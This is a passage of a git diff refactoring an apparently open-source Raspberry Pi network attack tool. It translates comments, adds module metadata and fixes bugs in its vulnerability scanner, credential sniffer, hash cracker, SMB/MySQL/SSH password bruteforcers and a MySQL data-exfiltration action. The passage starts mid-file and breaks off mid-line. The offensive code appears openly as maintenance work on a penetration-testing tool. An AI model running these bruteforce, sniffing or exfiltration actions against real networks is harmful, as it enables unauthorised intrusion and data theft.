5) Déduplication en mémoire avant persistance + # 5) In-memory dedup before persistence findings = self._deduplicate_findings(findings) # 6) Persistance self.save_vulnerabilities(mac, ip, findings) - # Finalisation UI + # Final UI update self.shared_data.bjorn_progress = "100%" self.shared_data.comment_params = {"ip": ip, "vulns_found": str(len(findings))} logger.success(f"Vuln scan done on {ip}: {len(findings)} entries") @@ -130,7 +135,7 @@ class NmapVulnScanner: except Exception as e: logger.error(f"NmapVulnScanner failed for {ip}: {e}") - self.shared_data.bjorn_progress = "Error" + self.shared_data.bjorn_progress = "0%" return 'failed' def _has_been_scanned(self, mac: str) -> bool: @@ -161,7 +166,7 @@ class NmapVulnScanner: ttl = int(self.shared_data.config.get('vuln_rescan_ttl_seconds', 0) or 0) if ttl > 0: - cutoff = datetime.utcnow() - timedelta(seconds=ttl) + cutoff = datetime.now(timezone.utc) - timedelta(seconds=ttl) final_ports = [] for p in ports: if p not in seen: @@ -180,7 +185,7 @@ class NmapVulnScanner: # ---------------------------- Helpers -------------------------------- # def _deduplicate_findings(self, findings: List[Dict]) -> List[Dict]: - """Supprime les doublons (même port + vuln_id) pour éviter des inserts inutiles.""" + """Remove duplicates (same port + vuln_id) to avoid redundant inserts.""" seen: set = set() deduped = [] for f in findings: @@ -201,7 +206,7 @@ class NmapVulnScanner: return [str(cpe).strip()] def extract_cves(self, text: str) -> List[str]: - """Extrait les CVE via regex pré-compilé (pas de recompilation à chaque appel).""" + """Extract CVEs using pre-compiled regex.""" if not text: return [] return CVE_RE.findall(str(text)) @@ -210,8 +215,7 @@ class NmapVulnScanner: def scan_vulnerabilities(self, ip: str, ports: List[str]) -> List[Dict]: """ - Orchestre le scan en lots (batches) pour permettre la mise à jour - de la barre de progression. + Orchestrate scanning in batches for progress bar updates. """ all_findings = [] @@ -219,10 +223,10 @@ class NmapVulnScanner: use_vulners = bool(self.shared_data.config.get('nse_vulners', False)) max_ports = int(self.shared_data.config.get('vuln_max_ports', 10 if fast else 20)) - # Pause entre batches – important sur Pi Zero pour laisser respirer le CPU + # Pause between batches -- important on Pi Zero to let the CPU breathe batch_pause = float(self.shared_data.config.get('vuln_batch_pause', 0.5)) - # Taille de lot réduite par défaut (2 sur Pi Zero, configurable) + # Reduced batch size by default (2 on Pi Zero, configurable) batch_size = int(self.shared_data.config.get('vuln_batch_size', 2)) target_ports = ports[:max_ports] @@ -240,7 +244,7 @@ class NmapVulnScanner: port_str = ','.join(batch) - # Mise à jour UI avant le scan du lot + # UI update before batch scan pct = int((processed_count / total) * 100) self.shared_data.bjorn_progress = f"{pct}%" self.shared_data.comment_params = { @@ -251,7 +255,7 @@ class NmapVulnScanner: t0 = time.time() - # Scan du lot (instanciation locale pour éviter la corruption d'état) + # Scan batch (local instance to avoid state corruption) if fast: batch_findings = self._scan_fast_cpe_cve(ip, port_str, use_vulners) else: @@ -263,11 +267,11 @@ class NmapVulnScanner: all_findings.extend(batch_findings) processed_count += len(batch) - # Mise à jour post-lot + # Post-batch update pct = int((processed_count / total) * 100) self.shared_data.bjorn_progress = f"{pct}%" - # Pause CPU entre batches (vital sur Pi Zero) + # CPU pause between batches (vital on Pi Zero) if batch_pause > 0 and processed_count < total: time.sleep(batch_pause) @@ -275,10 +279,10 @@ class NmapVulnScanner: def _scan_fast_cpe_cve(self, ip: str, port_list: str, use_vulners: bool) -> List[Dict]: vulns: List[Dict] = [] - nm = nmap.PortScanner() # Instance locale – pas de partage d'état + nm = nmap.PortScanner() # Local instance -- no shared state - # --version-light au lieu de --version-all : bien plus rapide sur Pi Zero - # --min-rate/--max-rate : évite de saturer CPU et réseau + # --version-light instead of --version-all: much faster on Pi Zero + # --min-rate/--max-rate: avoid saturating CPU and network args = ( "-sV --version-light -T4 " "--max-retries 1 --host-timeout 60s --script-timeout 20s " @@ -329,14 +333,14 @@ class NmapVulnScanner: def _scan_heavy(self, ip: str, port_list: str) -> List[Dict]: vulnerabilities: List[Dict] = [] - nm = nmap.PortScanner() # Instance locale + nm = nmap.PortScanner() # Local instance vuln_scripts = [ 'vuln', 'exploit', 'http-vuln-*', 'smb-vuln-*', 'ssl-*', 'ssh-*', 'ftp-vuln-*', 'mysql-vuln-*', ] script_arg = ','.join(vuln_scripts) - # --min-rate/--max-rate pour ne pas saturer le Pi + # --min-rate/--max-rate to avoid saturating the Pi args = ( f"-sV --script={script_arg} -T3 " "--script-timeout 30s --min-rate 50 --max-rate 100" @@ -371,7 +375,7 @@ class NmapVulnScanner: 'details': str(output)[:200] }) - # CPE Scan optionnel (sur ce batch) + # Optional CPE scan (on this batch) if bool(self.shared_data.config.get('scan_cpe', False)): ports_for_cpe = list(discovered_ports_in_batch) if ports_for_cpe: @@ -381,10 +385,10 @@ class NmapVulnScanner: def scan_cpe(self, ip: str, ports: List[str]) -> List[Dict]: cpe_vulns = [] - nm = nmap.PortScanner() # Instance locale + nm = nmap.PortScanner() # Local instance try: port_list = ','.join([str(p) for p in ports]) - # --version-light à la place de --version-all (bien plus rapide) + # --version-light instead of --version-all (much faster) args = "-sV --version-light -T4 --max-retries 1 --host-timeout 45s" nm.scan(hosts=ip, ports=port_list, arguments=args) @@ -430,7 +434,7 @@ class NmapVulnScanner: if vid_upper.startswith('CVE-'): findings_by_port[port]['cves'].add(vid) elif vid_upper.startswith('CPE:'): - # On stocke sans le préfixe "CPE:" + # Store without the "CPE:" prefix findings_by_port[port]['cpes'].add(vid[4:]) # 1) CVEs diff --git a/actions/odin_eye.py b/actions/odin_eye.py index 062cfc2..e56045c 100644 --- a/actions/odin_eye.py +++ b/actions/odin_eye.py @@ -179,6 +179,10 @@ class OdinEye: def execute(self, ip, port, row, status_key) -> str: """Standard entry point.""" + # Reset per-run state to prevent accumulation across reused instances + self.credentials.clear() + self.statistics.clear() + iface = getattr(self.shared_data, "odin_eye_interface", "auto") if iface == "auto": iface = None # pyshark handles None as default @@ -186,10 +190,17 @@ class OdinEye: bpf_filter = getattr(self.shared_data, "odin_eye_filter", b_args["filter"]["default"]) max_pkts = int(getattr(self.shared_data, "odin_eye_max_packets", 1000)) timeout = int(getattr(self.shared_data, "odin_eye_timeout", 300)) - output_dir = getattr(self.shared_data, "odin_eye_output", "/home/bjorn/Bjorn/data/output/packets") + _fallback_dir = os.path.join(getattr(self.shared_data, "data_dir", "/home/bjorn/Bjorn/data"), "output", "packets") + output_dir = getattr(self.shared_data, "odin_eye_output", _fallback_dir) logger.info(f"OdinEye: Starting capture on {iface or 'default'} (filter: {bpf_filter})") self.shared_data.log_milestone(b_class, "Startup", f"Sniffing on {iface or 'any'}") + # EPD live status + self.shared_data.comment_params = {"iface": iface or "any", "filter": bpf_filter[:30]} + + if not HAS_PYSHARK: + logger.error("OdinEye requires pyshark but it is not installed.") + return "failed" try: self.capture = pyshark.LiveCapture(interface=iface, bpf_filter=bpf_filter) @@ -217,6 +228,8 @@ class OdinEye: if packet_count % 50 == 0: prog = int((packet_count / max_pkts) * 100) self.shared_data.bjorn_progress = f"{prog}%" + # EPD live status update + self.shared_data.comment_params = {"packets": str(packet_count), "creds": str(len(self.credentials))} self.shared_data.log_milestone(b_class, "Status", f"Captured {packet_count} packets") except Exception as e: @@ -226,7 +239,7 @@ class OdinEye: finally: if self.capture: try: self.capture.close() - except: pass + except Exception: pass # Save results if self.credentials or self.statistics['total_packets'] > 0: @@ -238,6 +251,8 @@ class OdinEye: "credentials": self.credentials }, f, indent=4) self.shared_data.log_milestone(b_class, "Complete", f"Capture finished. {len(self.credentials)} creds found.") + self.shared_data.bjorn_progress = "" + self.shared_data.comment_params = {} return "success" diff --git a/actions/presence_join.py b/actions/presence_join.py index 783d88a..2631f8b 100644 --- a/actions/presence_join.py +++ b/actions/presence_join.py @@ -1,11 +1,5 @@ -# actions/presence_join.py # -*- coding: utf-8 -*- -""" -PresenceJoin — Sends a Discord webhook when the targeted host JOINS the network. -- Triggered by the scheduler ONLY on transition OFF->ON (b_trigger="on_join"). -- Targeting via b_requires (e.g. {"any":[{"mac_is":"AA:BB:..."}]}). -- The action does not query anything: it only notifies when called. -""" +"""presence_join.py - Discord webhook notification when a target host joins the network.""" import requests from typing import Optional @@ -28,7 +22,20 @@ b_priority = 90 b_cooldown = 0 # not needed: on_join only fires on join transition b_rate_limit = None b_trigger = "on_join" # <-- Host JOINED the network (OFF -> ON since last scan) -b_requires = {"any":[{"mac_is":"60:57:c8:51:63:fb"}]} # adapt as needed +b_requires = None # Configure via DB to restrict to specific MACs if needed +b_enabled = 1 +b_action = "normal" +b_category = "notification" +b_name = "Presence Join" +b_description = "Sends a Discord webhook notification when a host joins the network." +b_author = "Bjorn Team" +b_version = "1.0.0" +b_timeout = 30 +b_max_retries = 1 +b_stealth_level = 10 +b_risk_level = "low" +b_tags = ["presence", "discord", "notification"] +b_icon = "PresenceJoin.png" DISCORD_WEBHOOK_URL = "" # Configure via shared_data or DB @@ -60,7 +67,9 @@ class PresenceJoin: host = row.get("hostname") or (row.get("hostnames") or "").split(";")[0] if row.get("hostnames") else None name = f"{host} ({mac})" if host else mac ip_s = (ip or (row.get("IPs") or "").split(";")[0] or "").strip() - + # EPD live status + self.shared_data.comment_params = {"mac": mac, "host": host or "unknown", "ip": ip_s or "?"} + # Add timestamp in UTC timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC") diff --git a/actions/presence_left.py b/actions/presence_left.py index 9b6dcab..4e89151 100644 --- a/actions/presence_left.py +++ b/actions/presence_left.py @@ -1,11 +1,5 @@ -# actions/presence_left.py # -*- coding: utf-8 -*- -""" -PresenceLeave — Sends a Discord webhook when the targeted host LEAVES the network. -- Triggered by the scheduler ONLY on transition ON->OFF (b_trigger="on_leave"). -- Targeting via b_requires (e.g. {"any":[{"mac_is":"AA:BB:..."}]}). -- The action does not query anything: it only notifies when called. -""" +"""presence_left.py - Discord webhook notification when a target host leaves the network.""" import requests from typing import Optional @@ -28,8 +22,20 @@ b_priority = 90 b_cooldown = 0 # not needed: on_leave only fires on leave transition b_rate_limit = None b_trigger = "on_leave" # <-- Host LEFT the network (ON -> OFF since last scan) -b_requires = {"any":[{"mac_is":"60:57:c8:51:63:fb"}]} # adapt as needed -b_enabled = 1 +b_requires = None # Configure via DB to restrict to specific MACs if needed +b_enabled = 1 +b_action = "normal" +b_category = "notification" +b_name = "Presence Leave" +b_description = "Sends a Discord webhook notification when a host leaves the network." +b_author = "Bjorn Team" +b_version = "1.0.0" +b_timeout = 30 +b_max_retries = 1 +b_stealth_level = 10 +b_risk_level = "low" +b_tags = ["presence", "discord", "notification"] +b_icon = "PresenceLeave.png" DISCORD_WEBHOOK_URL = "" # Configure via shared_data or DB @@ -60,6 +66,8 @@ class PresenceLeave: mac = row.get("MAC Address") or row.get("mac_address") or "MAC" host = row.get("hostname") or (row.get("hostnames") or "").split(";")[0] if row.get("hostnames") else None ip_s = (ip or (row.get("IPs") or "").split(";")[0] or "").strip() + # EPD live status + self.shared_data.comment_params = {"mac": mac, "host": host or "unknown", "ip": ip_s or "?"} # Add timestamp in UTC timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC") diff --git a/actions/rune_cracker.py b/actions/rune_cracker.py index 62fa283..10e1993 100644 --- a/actions/rune_cracker.py +++ b/actions/rune_cracker.py @@ -82,7 +82,11 @@ class RuneCracker: return hashlib.sha512(password.encode()).hexdigest() elif h_type == 'ntlm': # NTLM is MD4(UTF-16LE(password)) - return hashlib.new('md4', password.encode('utf-16le')).hexdigest() + try: + return hashlib.new('md4', password.encode('utf-16le')).hexdigest() + except ValueError: + # MD4 not available in this Python build (e.g., FIPS mode) + return None except Exception as e: logger.debug(f"Hashing error ({h_type}): {e}") return None @@ -107,6 +111,8 @@ class RuneCracker: } logger.success(f"Cracked {h_type}: {hv[:8]}... -> {password}") self.shared_data.log_milestone(b_class, "Cracked", f"{h_type} found!") + # EPD live status update + self.shared_data.comment_params = {"hashes": str(len(self.hashes)), "cracked": str(len(self.cracked))} progress.advance() @@ -115,7 +121,8 @@ class RuneCracker: input_file = str(getattr(self.shared_data, "rune_cracker_input", "")) wordlist_path = str(getattr(self.shared_data, "rune_cracker_wordlist", "")) self.hash_type = getattr(self.shared_data, "rune_cracker_type", None) - output_dir = getattr(self.shared_data, "rune_cracker_output", "/home/bjorn/Bjorn/data/output/hashes") + _fallback_dir = os.path.join(getattr(self.shared_data, "data_dir", "/home/bjorn/Bjorn/data"), "output", "hashes") + output_dir = getattr(self.shared_data, "rune_cracker_output", _fallback_dir) if not input_file or not os.path.exists(input_file): # Fallback: Check for latest odin_recon or other hashes if running in generic mode @@ -127,6 +134,8 @@ class RuneCracker: logger.error(f"Input file not found: {input_file}") return "failed" + # Reset per-run state to prevent accumulation across reused instances + self.cracked.clear() # Load hashes self.hashes.clear() try: @@ -150,6 +159,8 @@ class RuneCracker: logger.info(f"RuneCracker: Loaded {len(self.hashes)} hashes. Starting engine...") self.shared_data.log_milestone(b_class, "Initialization", f"Loaded {len(self.hashes)} hashes") + # EPD live status + self.shared_data.comment_params = {"hashes": str(len(self.hashes)), "cracked": "0"} # Prepare password plan dict_passwords = [] @@ -167,34 +178,38 @@ class RuneCracker: self.shared_data.log_milestone(b_class, "Bruteforce", f"Testing {len(all_candidates)} candidates") try: - with ThreadPoolExecutor(max_workers=self.max_workers) as executor: - for pwd in all_candidates: - if self.shared_data.orchestrator_should_exit: - executor.shutdown(wait=False) - return "interrupted" - executor.submit(self._crack_password_worker, pwd, progress) - except Exception as e: - logger.error(f"Cracking engine error: {e}") - return "failed" + try: + with ThreadPoolExecutor(max_workers=self.max_workers) as executor: + for pwd in all_candidates: + if self.shared_data.orchestrator_should_exit: + executor.shutdown(wait=False, cancel_futures=True) + return "interrupted" + executor.submit(self._crack_password_worker, pwd, progress) + except Exception as e: + logger.error(f"Cracking engine error: {e}") + return "failed" - # Save results - if self.cracked: - os.makedirs(output_dir, exist_ok=True) - out_file = os.path.join(output_dir, f"cracked_{int(time.time())}.json") - with open(out_file, 'w', encoding="utf-8") as f: - json.dump({ - "target_file": input_file, - "total_hashes": len(self.hashes), - "cracked_count": len(self.cracked), - "results": self.cracked - }, f, indent=4) - logger.success(f"Cracked {len(self.cracked)} hashes! Results: {out_file}") - self.shared_data.log_milestone(b_class, "Complete", f"Cracked {len(self.cracked)} hashes") - return "success" - - logger.info("Cracking finished. No matches found.") - self.shared_data.log_milestone(b_class, "Finished", "No passwords found") - return "success" # Still success even if 0 cracked, as it finished the task + # Save results + if self.cracked: + os.makedirs(output_dir, exist_ok=True) + out_file = os.path.join(output_dir, f"cracked_{int(time.time())}.json") + with open(out_file, 'w', encoding="utf-8") as f: + json.dump({ + "target_file": input_file, + "total_hashes": len(self.hashes), + "cracked_count": len(self.cracked), + "results": self.cracked + }, f, indent=4) + logger.success(f"Cracked {len(self.cracked)} hashes! Results: {out_file}") + self.shared_data.log_milestone(b_class, "Complete", f"Cracked {len(self.cracked)} hashes") + return "success" + + logger.info("Cracking finished. No matches found.") + self.shared_data.log_milestone(b_class, "Finished", "No passwords found") + return "success" # Still success even if 0 cracked, as it finished the task + finally: + self.shared_data.bjorn_progress = "" + self.shared_data.comment_params = {} if __name__ == "__main__": # Minimal CLI for testing diff --git a/actions/scanning.py b/actions/scanning.py index 4a5ce48..4e46c54 100644 --- a/actions/scanning.py +++ b/actions/scanning.py @@ -1,13 +1,7 @@ -# scanning.py – Network scanner (DB-first, no stubs) -# - Host discovery (nmap -sn -PR) -# - Resolve MAC/hostname (ThreadPoolExecutor) -> DB (hosts table) -# - Port scan (ThreadPoolExecutor) -> DB (merge ports by MAC) -# - Mark alive=0 for hosts not seen this run -# - Update stats (stats table) -# - Light logging (milestones) without flooding -# - WAL checkpoint(TRUNCATE) + PRAGMA optimize at end of scan -# - No DB insert without a real MAC. Unresolved IPs are kept in-memory. -# - RPi Zero optimized: bounded thread pools, reduced retries, adaptive concurrency +"""scanning.py - Network scanner: host discovery, MAC/hostname resolution, and port scanning. + +DB-first design - all results go straight to SQLite. RPi Zero optimized. +""" import os import re @@ -38,6 +32,18 @@ b_priority = 1 b_action = "global" b_trigger = "on_interval:180" b_requires = '{"max_concurrent": 1}' +b_enabled = 1 +b_timeout = 300 +b_max_retries = 1 +b_stealth_level = 3 +b_risk_level = "low" +b_tags = ["scan", "discovery", "network", "nmap"] +b_category = "recon" +b_name = "Network Scanner" +b_description = "Host discovery, MAC/hostname resolution, and port scanning via nmap." +b_author = "Bjorn Team" +b_version = "2.0.0" +b_icon = "NetworkScanner.png" # --- Module-level constants (avoid re-creating per call) --- _MAC_RE = re.compile(r'([0-9A-Fa-f]{2})([-:])(?:[0-9A-Fa-f]{2}\2){4}[0-9A-Fa-f]{2}') diff --git a/actions/smb_bruteforce.py b/actions/smb_bruteforce.py index a80f064..90fe4b5 100644 --- a/actions/smb_bruteforce.py +++ b/actions/smb_bruteforce.py @@ -1,12 +1,7 @@ -""" -smb_bruteforce.py — SMB bruteforce (DB-backed, no CSV/JSON, no rich) -- Cibles fournies par l’orchestrateur (ip, port) -- IP -> (MAC, hostname) depuis DB.hosts -- Succès enregistrés dans DB.creds (service='smb'), 1 ligne PAR PARTAGE (database=) -- Conserve la logique de queue/threads et les signatures. Plus de rich/progress. -""" +“””smb_bruteforce.py - Threaded SMB credential bruteforcer with share enumeration.””” import os +import shlex import threading import logging import time @@ -29,14 +24,27 @@ b_parent = None b_service = '["smb"]' b_trigger = 'on_any:["on_service:smb","on_new_port:445"]' b_priority = 70 -b_cooldown = 1800 # 30 minutes entre deux runs -b_rate_limit = '3/86400' # 3 fois par jour max +b_cooldown = 1800 # 30 min between runs +b_rate_limit = '3/86400' # max 3 per day +b_enabled = 1 +b_action = "normal" +b_timeout = 600 +b_max_retries = 2 +b_stealth_level = 3 +b_risk_level = "medium" +b_tags = ["bruteforce", "smb", "credentials", "shares"] +b_category = "exploitation" +b_name = "SMB Bruteforce" +b_description = "Threaded SMB credential bruteforcer with share enumeration." +b_author = "Bjorn Team" +b_version = "2.0.0" +b_icon = "SMBBruteforce.png" IGNORED_SHARES = {'print$', 'ADMIN$', 'IPC$', 'C$', 'D$', 'E$', 'F$'} class SMBBruteforce: - """Wrapper orchestrateur -> SMBConnector.""" + """Orchestrator wrapper for SMBConnector.""" def __init__(self, shared_data): self.shared_data = shared_data @@ -44,11 +52,11 @@ class SMBBruteforce: logger.info("SMBConnector initialized.") def bruteforce_smb(self, ip, port): - """Lance le bruteforce SMB pour (ip, port).""" + """Run SMB bruteforce for (ip, port).""" return self.smb_bruteforce.run_bruteforce(ip, port) def execute(self, ip, port, row, status_key): - """Point d'entrée orchestrateur (retour 'success' / 'failed').""" + """Orchestrator entry point. Returns 'success' or 'failed'.""" self.shared_data.bjorn_orch_status = "SMBBruteforce" self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)} success, results = self.bruteforce_smb(ip, port) @@ -56,12 +64,12 @@ class SMBBruteforce: class SMBConnector: - """Gère les tentatives SMB, la persistance DB et le mapping IP→(MAC, Hostname).""" + """Handles SMB attempts, DB persistence, and IP->(MAC, Hostname) mapping.""" def __init__(self, shared_data): self.shared_data = shared_data - # Wordlists inchangées + # Wordlists self.users = self._read_lines(shared_data.users_file) self.passwords = self._read_lines(shared_data.passwords_file) @@ -74,7 +82,7 @@ class SMBConnector: self.queue = Queue() self.progress = None - # ---------- util fichiers ---------- + # ---------- file utils ---------- @staticmethod def _read_lines(path: str) -> List[str]: try: @@ -142,10 +150,10 @@ class SMBConnector: def smbclient_l(self, adresse_ip: str, user: str, password: str) -> List[str]: timeout = int(getattr(self.shared_data, "smb_connect_timeout_s", 6)) - cmd = f'smbclient -L {adresse_ip} -U {user}%{password}' + cmd = ['smbclient', '-L', adresse_ip, '-U', f'{user}%{password}'] process = None try: - process = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE) + process = Popen(cmd, shell=False, stdout=PIPE, stderr=PIPE) try: stdout, stderr = process.communicate(timeout=timeout) except TimeoutExpired: @@ -164,7 +172,7 @@ class SMBConnector: logger.info(f"Trying smbclient -L for {adresse_ip} with user '{user}'") return [] except Exception as e: - logger.error(f"Error executing '{cmd}': {e}") + logger.error(f"Error executing smbclient -L for {adresse_ip}: {e}") return [] finally: if process: @@ -269,7 +277,7 @@ class SMBConnector: hostname = self.hostname_for_ip(adresse_ip) or "" dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords) - total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords) + len(dict_passwords)) + total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords)) if total_tasks == 0: logger.warning("No users/passwords loaded. Abort.") return False, [] @@ -339,7 +347,7 @@ class SMBConnector: # ---------- persistence DB ---------- def save_results(self): - # insère self.results dans creds (service='smb'), database = + # Insert results into creds (service='smb'), database = for mac, ip, hostname, share, user, password, port in self.results: try: self.shared_data.db.insert_cred( @@ -350,7 +358,7 @@ class SMBConnector: user=user, password=password, port=port, - database=share, # utilise la colonne 'database' pour distinguer les shares + database=share, # uses the 'database' column to distinguish shares extra=None ) except Exception as e: @@ -364,12 +372,12 @@ class SMBConnector: self.results = [] def removeduplicates(self): - # plus nécessaire avec l'index unique; conservé pour compat. + # No longer needed with unique index; kept for compat. pass if __name__ == "__main__": - # Mode autonome non utilisé en prod; on laisse simple + # Standalone mode, not used in prod try: sd = SharedData() smb_bruteforce = SMBBruteforce(sd) diff --git a/actions/sql_bruteforce.py b/actions/sql_bruteforce.py index 44184fb..fdfa0aa 100644 --- a/actions/sql_bruteforce.py +++ b/actions/sql_bruteforce.py @@ -1,11 +1,4 @@ -""" -sql_bruteforce.py — MySQL bruteforce (DB-backed, no CSV/JSON, no rich) -- Cibles: (ip, port) par l’orchestrateur -- IP -> (MAC, hostname) via DB.hosts -- Connexion sans DB puis SHOW DATABASES; une entrée par DB trouvée -- Succès -> DB.creds (service='sql', database=) -- Conserve la logique (pymysql, queue/threads) -""" +“””sql_bruteforce.py - Threaded MySQL credential bruteforcer with database enumeration.””” import os import pymysql @@ -29,11 +22,24 @@ b_parent = None b_service = '["sql"]' b_trigger = 'on_any:["on_service:sql","on_new_port:3306"]' b_priority = 70 -b_cooldown = 1800 # 30 minutes entre deux runs -b_rate_limit = '3/86400' # 3 fois par jour max +b_cooldown = 1800 # 30 min between runs +b_rate_limit = '3/86400' # max 3 per day +b_enabled = 1 +b_action = "normal" +b_timeout = 600 +b_max_retries = 2 +b_stealth_level = 3 +b_risk_level = "medium" +b_tags = ["bruteforce", "sql", "mysql", "credentials"] +b_category = "exploitation" +b_name = "SQL Bruteforce" +b_description = "Threaded MySQL credential bruteforcer with database enumeration." +b_author = "Bjorn Team" +b_version = "2.0.0" +b_icon = "SQLBruteforce.png" class SQLBruteforce: - """Wrapper orchestrateur -> SQLConnector.""" + """Orchestrator wrapper for SQLConnector.""" def __init__(self, shared_data): self.shared_data = shared_data @@ -41,11 +47,11 @@ class SQLBruteforce: logger.info("SQLConnector initialized.") def bruteforce_sql(self, ip, port): - """Lance le bruteforce SQL pour (ip, port).""" + """Run SQL bruteforce for (ip, port).""" return self.sql_bruteforce.run_bruteforce(ip, port) def execute(self, ip, port, row, status_key): - """Point d'entrée orchestrateur (retour 'success' / 'failed').""" + """Orchestrator entry point. Returns 'success' or 'failed'.""" self.shared_data.bjorn_orch_status = "SQLBruteforce" self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)} success, results = self.bruteforce_sql(ip, port) @@ -53,12 +59,12 @@ class SQLBruteforce: class SQLConnector: - """Gère les tentatives SQL (MySQL), persistance DB, mapping IP→(MAC, Hostname).""" + """Handles SQL (MySQL) attempts, DB persistence, and IP->(MAC, Hostname) mapping.""" def __init__(self, shared_data): self.shared_data = shared_data - # Wordlists inchangées + # Wordlists self.users = self._read_lines(shared_data.users_file) self.passwords = self._read_lines(shared_data.passwords_file) @@ -71,7 +77,7 @@ class SQLConnector: self.queue = Queue() self.progress = None - # ---------- util fichiers ---------- + # ---------- file utils ---------- @staticmethod def _read_lines(path: str) -> List[str]: try: @@ -115,7 +121,7 @@ class SQLConnector: # ---------- SQL ---------- def sql_connect(self, adresse_ip: str, user: str, password: str, port: int = 3306): """ - Connexion sans DB puis SHOW DATABASES; retourne (True, [dbs]) ou (False, []). + Connect without DB then SHOW DATABASES. Returns (True, [dbs]) or (False, []). """ timeout = int(getattr(self.shared_data, "sql_connect_timeout_s", 6)) try: @@ -188,7 +194,7 @@ class SQLConnector: logger.info("Orchestrator exit signal received, stopping worker thread.") break - adresse_ip, user, password, port = self.queue.get() + adresse_ip, user, password, mac_address, hostname, port = self.queue.get() try: success, databases = self.sql_connect(adresse_ip, user, password, port=port) if success: @@ -213,6 +219,8 @@ class SQLConnector: def run_bruteforce(self, adresse_ip: str, port: int): self.results = [] + mac_address = self.mac_for_ip(adresse_ip) + hostname = self.hostname_for_ip(adresse_ip) or "" dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords) total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords)) if total_tasks == 0: @@ -232,7 +240,7 @@ class SQLConnector: if self.shared_data.orchestrator_should_exit: logger.info("Orchestrator exit signal received, stopping bruteforce task addition.") return - self.queue.put((adresse_ip, user, password, port)) + self.queue.put((adresse_ip, user, password, mac_address, hostname, port)) threads = [] thread_count = min(8, max(1, phase_tasks)) @@ -261,7 +269,7 @@ class SQLConnector: # ---------- persistence DB ---------- def save_results(self): - # pour chaque DB trouvée, créer/mettre à jour une ligne dans creds (service='sql', database=) + # For each DB found, create/update a row in creds (service='sql', database=) for ip, user, password, port, dbname in self.results: mac = self.mac_for_ip(ip) hostname = self.hostname_for_ip(ip) or "" @@ -288,7 +296,7 @@ class SQLConnector: self.results = [] def remove_duplicates(self): - # inutile avec l’index unique; conservé pour compat. + # No longer needed with unique index; kept for compat. pass diff --git a/actions/ssh_bruteforce.py b/actions/ssh_bruteforce.py index 0578174..e2568f1 100644 --- a/actions/ssh_bruteforce.py +++ b/actions/ssh_bruteforce.py @@ -1,15 +1,4 @@ -""" -ssh_bruteforce.py - This script performs a brute force attack on SSH services (port 22) -to find accessible accounts using various user credentials. It logs the results of -successful connections. - -SQL version (minimal changes): -- Targets still provided by the orchestrator (ip + port) -- IP -> (MAC, hostname) mapping read from DB 'hosts' -- Successes saved into DB.creds (service='ssh') with robust fallback upsert -- Action status recorded in DB.action_results (via SSHBruteforce.execute) -- Paramiko noise silenced; ssh.connect avoids agent/keys to reduce hangs -""" +"""ssh_bruteforce.py - Threaded SSH credential bruteforcer via paramiko.""" import os import paramiko @@ -24,7 +13,6 @@ from shared import SharedData from actions.bruteforce_common import ProgressTracker, merged_password_plan from logger import Logger -# Configure the logger logger = Logger(name="ssh_bruteforce.py", level=logging.DEBUG) # Silence Paramiko internals @@ -32,7 +20,6 @@ for _name in ("paramiko", "paramiko.transport", "paramiko.client", "paramiko.hos "paramiko.kex", "paramiko.auth_handler"): logging.getLogger(_name).setLevel(logging.CRITICAL) -# Define the necessary global variables b_class = "SSHBruteforce" b_module = "ssh_bruteforce" b_status = "brute_force_ssh" @@ -40,9 +27,22 @@ b_port = 22 b_service = '["ssh"]' b_trigger = 'on_any:["on_service:ssh","on_new_port:22"]' b_parent = None -b_priority = 70 # tu peux ajuster la priorité si besoin -b_cooldown = 1800 # 30 minutes entre deux runs -b_rate_limit = '3/86400' # 3 fois par jour max +b_priority = 70 +b_cooldown = 1800 # 30 min between runs +b_rate_limit = '3/86400' # max 3 per day +b_enabled = 1 +b_action = "normal" +b_timeout = 600 +b_max_retries = 2 +b_stealth_level = 3 +b_risk_level = "medium" +b_tags = ["bruteforce", "ssh", "credentials"] +b_category = "exploitation" +b_name = "SSH Bruteforce" +b_description = "Threaded SSH credential bruteforcer via paramiko with dictionary and exhaustive modes." +b_author = "Bjorn Team" +b_version = "2.0.0" +b_icon = "SSHBruteforce.png" class SSHBruteforce: @@ -298,6 +298,19 @@ class SSHConnector: t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True) t.start() threads.append(t) + + # Drain queue if orchestrator exit is requested, to unblock join + while not self.queue.empty(): + if self.shared_data.orchestrator_should_exit: + # Discard remaining items so workers can finish + while not self.queue.empty(): + try: + self.queue.get_nowait() + self.queue.task_done() + except Exception: + break + break + time.sleep(0.5) self.queue.join() for t in threads: t.join() diff --git a/actions/steal_data_sql.py b/actions/steal_data_sql.py index 414920d..310067f 100644 --- a/actions/steal_data_sql.py +++ b/actions/steal_data_sql.py @@ -1,13 +1,4 @@ -""" -steal_data_sql.py — SQL data looter (DB-backed) - -SQL mode: -- Orchestrator provides (ip, port) after parent success (SQLBruteforce). -- DB.creds (service='sql') provides (user,password, database?). -- We connect first without DB to enumerate tables (excluding system schemas), - then connect per schema to export CSVs. -- Output under: {data_stolen_dir}/sql/{mac}_{ip}/{schema}/{schema_table}.csv -""" +"""steal_data_sql.py - Exfiltrate MySQL databases as CSV after successful bruteforce.""" import os import logging @@ -41,6 +32,12 @@ b_risk_level = "high" # 'low' | 'medium' | 'high' b_enabled = 1 # set to 0 to disable from DB sync # Tags (free taxonomy, JSON-ified by sync_actions) b_tags = ["exfil", "sql", "loot", "db", "mysql"] +b_category = "exfiltration" +b_name = "Steal Data SQL" +b_description = "Exfiltrate MySQL databases as CSV after successful credential bruteforce." +b_author = "Bjorn Team" +b_version = "2.0.0" +b_icon = "StealDataSQL.png" class StealDataSQL: def __init__(self, shared_data: SharedData): @@ -169,6 +166,11 @@ class StealDataSQL: logger.info("Data steal interrupted.") return + # Validate identifiers to prevent SQL injection + import re as _re + if not _re.match(r'^[a-zA-Z0-9_]+$', schema) or not _re.match(r'^[a-zA-Z0-9_]+$', table): + 